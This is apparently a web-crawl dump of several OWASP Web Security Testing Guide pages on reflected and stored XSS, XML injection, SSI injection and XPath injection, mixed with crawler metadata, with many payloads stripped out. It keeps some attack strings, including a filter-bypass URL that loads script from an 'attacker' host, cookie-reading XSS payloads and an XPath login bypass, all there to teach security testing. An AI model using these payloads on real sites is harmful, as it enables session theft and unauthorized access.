The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.\n\nIdeally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:\n\n- `>` (greater than)\n- `<` (less than)\n- `&` (ampersand)\n- `'` (apostrophe or single quote)\n- `\"` (double quote) However, a full list of entities is defined by the HTML and XML specifications. [Wikipedia has a complete reference](https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references). Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:\n- `\\n` (new line)\n- `\\r` (carriage return)\n- `'` (apostrophe or single quote)\n- `\"` (double quote)\n- `\\` (backslash)\n- `\\uXXXX` (unicode values) For a more complete reference, see the [Mozilla JavaScript guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings).\n\n#### Example 1\n\nFor example, consider a site that has a welcome notice `Welcome %username%` and a download link.\n\n*Figure 4.7.1-1: XSS Example 1*\n\nThe tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.\n\nLet’s try to click on the following link and see what happens:\n\n`http://example.com/index.php?user=`\n\nIf no sanitization is applied this will result in the following popup:\n\n*Figure 4.7.1-2: XSS Example 1*\n\nThis indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody’s browser if he clicks on the tester’s link.\n\n#### Example 2\n\nLet’s try other piece of code (link):\n\n```\nhttp://example.com/index.php?user=\n```\n\nThis produces the following behavior:\n\n*Figure 4.7.1-3: XSS Example 2*\n\nThis will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.\n\n### Bypass XSS Filters\n\nReflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.\n\nThus, the majority of XSS prevention must depend on the web application’s sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.\n\nThe [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) documents common filter evasion tests.\n\n#### Example 3: Tag Attribute Value\n\nSince these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of ``\n- `\">`\n- `\"%3cscript%3ealert(document.cookie)%3c/script%3e`\n\n#### Example 5: Bypassing Non-Recursive Filtering\n\nSometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:\n\n`ipt>alert(document.cookie)`\n\n#### Example 6: Including External Script\n\nNow suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:\n\n```\n]+src/i\"; if (preg_match($re, $_GET['var'])) { echo \"Filtered\"; return; } echo \"Welcome \".$_GET['var'].\" !\"; ?> \n```\n\nIn this scenario there is a regular expression checking if ``\n\nwhich is a common attack. But, in this case, it is possible to bypass the sanitization by using the “>” character in an attribute between script and src, like this:\n\n`http://example/?var=\"%20SRC=\"http://attacker/xss.js\">`\n\nThis will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker’s web server as if it was originating from the victim web site, `http://example/`.\n\n#### Example 7: HTTP Parameter Pollution (HPP)\n\nAnother method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the [Testing for HTTP Parameter pollution](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution) for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern- based security mechanisms.\nRegular attack:\n\n`http://example/page.php?param=`\n\nAttack using HPP:\n\n`http://example/page.php?param=[...]`\n\nSee the [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors’ browsers.\n\n### Gray-Box Testing\n\nGray-box testing is similar to black-box testing. In gray-box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.\n\nIf source code is available (white-box testing), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.\n\n## Tools\n\n- [PHP Charset Encoder(PCE)](https://cybersecurity.wtf/encoder/) This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.\n- [HackVertor](https://hackvertor.co.uk/public) It provides multiple dozens of flexible encoding for advanced string manipulation attacks.\n- [XSS-Proxy](http://xss-proxy.sourceforge.net) XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.\n- [ratproxy](https://code.google.com/archive/p/ratproxy/) A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.\n- [Burp Proxy](https://portswigger.net/burp) Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org) ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.\n\n## References\n\n### OWASP Resources\n\n- [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet)\n\n### Books\n\n- Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0\n- Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook - Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-17077-9\n- Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3\n\n### Whitepapers\n\n- [CERT - Malicious HTML Tags Embedded in Client Web Requests](https://resources.sei.cmu.edu/asset_files/WhitePaper/2000_019_001_496188.pdf)\n- [cgisecurity.com - The Cross Site Scripting FAQ](https://www.cgisecurity.com/xss-faq.html)\n- [G.Ollmann - HTML Code Injection and Cross-site scripting](http://www.technicalinfo.net/papers/CSS.html)\n- [S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat](https://www.techzoom.net/Publications/Insecurity-Iceberg)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 14096, "slov": 1997, "odkazu": 189, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:40", "sha256": "57e62b84a54708fb353be838a21e3120afb560e36453810655b473e6fdbdcbea", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals", "https://cybersecurity.wtf/encoder/", "https://hackvertor.co.uk/public", "http://xss-proxy.sourceforge.net/", "https://code.google.com/archive/p/ratproxy/", "https://portswigger.net/burp", "https://www.zaproxy.org/", "https://resources.sei.cmu.edu/asset_files/WhitePaper/2000_019_001_496188.pdf", "https://www.cgisecurity.com/xss-faq.html", "http://www.technicalinfo.net/papers/CSS.html", "https://www.techzoom.net/Publications/Insecurity-Iceberg", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Stored Cross Site Scripting"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Input Forms"}, {"uroven": 4, "text": "Analyze HTML Code"}, {"uroven": 4, "text": "Testing for Stored XSS"}, {"uroven": 4, "text": "Leverage Stored XSS with BeEF"}, {"uroven": 4, "text": "File Upload"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}, {"uroven": 3, "text": "Books"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Stored Cross Site Scripting\n\n| ID |\n| --- |\n| WSTG-INPV-02 |\n\n## Summary\n\nStored [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.\n\nStored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also called second-order XSS.\n\nThis vulnerability can be used to conduct a number of browser-based attacks including:\n\n- Hijacking another user’s browser\n- Capturing sensitive information viewed by application users\n- Pseudo defacement of the application\n- Port scanning of internal hosts (“internal” in relation to the users of the web application)\n- Directed delivery of browser-based exploits\n- Other malicious activities\n\nStored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:\n\n- Attacker stores malicious code into the vulnerable page\n- User authenticates in the application\n- User visits vulnerable page\n- Malicious code is executed by the user’s browser\n\nThis type of attack can also be exploited with browser exploitation frameworks such as [BeEF](https://beefproject.com) and [XSS Proxy](http://xss-proxy.sourceforge.net/). These frameworks allow for complex JavaScript exploit development.\n\nStored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.\n\n## How to Test\n\n### Black-Box Testing\n\nThe process for identifying stored XSS vulnerabilities is similar to the process described during the [testing for reflected XSS](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting).\n\n#### Input Forms\n\nThe first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:\n\n- User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.\n- Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later\n- File Manager: application that allows upload of files\n- Application settings/preferences: application that allows the user to set preferences\n- Forum/Message board: application that permits exchange of posts among users\n- Blog: if the blog application permits to users submitting comments\n- Log: if the application stores some users input into logs.\n\n#### Analyze HTML Code\n\nInput stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.\n\n**Note**: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.\n\n**Example**: Email stored data in index2.php\n\n*Figure 4.7.2-1: Stored Input Example*\n\nThe HTML code of index2.php where the email value is located:\n\n```\n \n```\n\nIn this case, the tester needs to find a way to inject code outside the `` tag as below:\n\n```\n MALICIOUS CODE ` - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:\n\n`Username = foo0s4tan@hell.com\n```\n\nIn this case, the final XML database is:\n\n```\n gandalf !c3 0 gandalf@middleearth.com Stefan0 w1s3c 500 Stefan0@whysec.hmm tony Un6R34kb!e0s4tan@hell.com \n```\n\nThe original `userid` node has been commented out, leaving only the injected one. The document now complies with its DTD rules.\n\n## Source Code Review\n\nThe following Java API may be vulnerable to XXE if they are not configured properly.\n\n- javax.xml.parsers.DocumentBuilder\n- javax.xml.parsers.DocumentBuildFactory\n- org.xml.sax.EntityResolver\n- org.dom4j.*\n- javax.xml.parsers.SAXParser\n- javax.xml.parsers.SAXParserFactory\n- TransformerFactory\n- SAXReader\n- DocumentHelper\n- SAXBuilder\n- SAXParserFactory\n- XMLReaderFactory\n- XMLInputFactory\n- SchemaFactory\n- DocumentBuilderFactoryImpl\n- SAXTransformerFactory\n- DocumentBuilderFactoryImpl\n- XMLReader\n- Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser\n\nCheck source code if the docType, external DTD, and external parameter entities are set as forbidden uses.\n\n- [XML External Entity (XXE) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\nIn addition, the Java POI office reader may be vulnerable to XXE if the version is under 3.10.1.\n\nThe version of POI library can be identified from the file name of the JAR. For example,\n\n- poi-3.8.jar\n- poi-ooxml-3.8.jar\n\nThe followings source code keyword may apply to C.\n\n- libxml2: xmlCtxtReadMemory,xmlCtxtUseOptions,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlReadFile ,xmlReadIO,xmlReadMemory, xmlCtxtReadDoc ,xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO\n- libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader\n\n## Tools\n\n- [XML Injection Fuzz Strings (from wfuzz tool)](https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/XML.txt)\n\n## References\n\n### Whitepapers\n\n- [XML Injection](https://www.whitehatsec.com/glossary/content/xml-injection)\n- [Gregory Steuck, “XXE (Xml eXternal Entity) attack”](https://www.securityfocus.com/archive/1/297714)\n- [OWASP XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 12678, "slov": 1715, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:55", "sha256": "5ccd8ab10be950ac669cc448d7ff6c710a63df9454e9404abd817fcc8a71abf6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html", "https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/XML.txt", "https://www.whitehatsec.com/glossary/content/xml-injection", "https://www.securityfocus.com/archive/1/297714", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for SSI Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for SSI Injection\n\n| ID |\n| --- |\n| WSTG-INPV-08 |\n\n## Summary\n\nWeb servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the [Server-Side Includes](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection)(SSI). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.\n\nServer-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there’s only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.\n\nPutting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:\n\n``\n\nto print out the current time.\n\n``\n\nto include the output of a CGI script.\n\n``\n\nto include the content of a file or list files in a directory.\n\n``\n\nto include the output of a system command.\n\nThen, if the web server’s SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don’t allow the use of the `exec` directive to execute system commands.\n\nAs in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.\n\nThis is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.\n\n## How to Test\n\n### Black-Box Testing\n\nThe first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classic information gathering techniques.\n\nWhether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains `.shtml` files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the `shtml` extension is not mandatory, so not having found any `shtml` files doesn’t necessarily mean that the target is not prone to SSI injection attacks.\n\nThe next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code.\n\nThe testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input, and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user-supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged.\n\nOnce we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives:\n\n`< ! # = / . \" - > and [a-zA-Z0-9]`\n\nTo test if validation is insufficient, we can input, for example, a string like the following in an input form:\n\n``\n\nThis is similar to testing for XSS vulnerabilities using\n\n``\n\nIf the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file.\n\nThe injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:\n\n```\nGET / HTTP/1.0\nReferer: \nUser-Agent: \n```\n\n### Gray-Box Testing\n\nIf we have access to the application source code, we can quite easily find out:\n\n- If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.\n- Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined.\n- How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account.\n\nPerforming these steps is mostly a matter of using grep to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).\n\n## Tools\n\n- [Web Proxy Burp Suite](https://portswigger.net)\n- [OWASP ZAP](https://www.zaproxy.org/)\n- [String searcher: grep](https://www.gnu.org/software/grep)\n\n## References\n\n### Whitepapers\n\n- [Apache Tutorial: “Introduction to Server Side Includes”](https://httpd.apache.org/docs/1.3/howto/ssi.html)\n- [Apache: “Module mod_include”](https://httpd.apache.org/docs/1.3/mod/mod_include.html)\n- [Apache: “Security Tips for Server Configuration”](https://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi)\n- [Header Based Exploitation](https://www.cgisecurity.com/papers/header-based-exploitation.txt)\n- [SSI Injection instead of JavaScript Malware](https://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html)\n- [IIS: “Notes on Server-Side Includes (SSI) syntax”](https://blogs.iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on-server-side-includes-ssi-syntax-kb-203064-revisited.aspx)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6888, "slov": 1034, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:56", "sha256": "0b574343262badd4f0d9f777cd499ec5c11056f3c856247a0237683a26b02d79", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/", "https://www.zaproxy.org/", "https://www.gnu.org/software/grep", "https://httpd.apache.org/docs/1.3/howto/ssi.html", "https://httpd.apache.org/docs/1.3/mod/mod_include.html", "https://httpd.apache.org/docs/1.3/misc/security_tips.html", "https://www.cgisecurity.com/papers/header-based-exploitation.txt", "https://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html", "https://blogs.iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on-server-side-includes-ssi-syntax-kb-203064-revisited.aspx", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for XPath Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for XPath Injection\n\n| ID |\n| --- |\n| WSTG-INPV-09 |\n\n## Summary\n\nXPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject XPath syntax into a request interpreted by the application, allowing an attacker to execute user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.\n\nWeb applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language.\n\nSince, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the characteristics of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document.\n\n## How to Test\n\nThe [XPath attack pattern was first published by Amit Klein](http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf) and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let’s imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let’s assume that our database is represented by the following XML file:\n\n```\n gandalf !c3 admin Stefan0 w1s3c guest tony Un6R34kb!e guest \n```\n\nAn XPath query that returns the account whose username is `gandalf` and the password is `!c3` would be the following:\n\n`string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())`\n\nIf the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:\n\n```\nUsername: ' or '1' = '1\nPassword: ' or '1' = '1\n```\n\nLooks quite familiar, doesn’t it? Using these parameters, the query becomes:\n\n`string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())`\n\nAs in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided. And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (`'`) in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.\n\nIf there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a [Blind XPath Injection](https://owasp.org/www-community/attacks/Blind_XPath_Injection) attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [Blind XPath Injection](https://owasp.org/www-community/attacks/Blind_XPath_Injection) is explained in more detail by Amit Klein in the referenced paper.\n\n## References\n\n### Whitepapers\n\n- [Amit Klein: “Blind XPath Injection”](http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf)\n- [XPath 1.0 specifications](https://www.w3.org/TR/1999/REC-xpath-19991116/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4579, "slov": 644, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:57", "sha256": "a6f221fd6f57864871229ad49c69d1a83df5830dfbffcf7654f495f90c62a625", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf", "https://www.w3.org/TR/1999/REC-xpath-19991116/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", 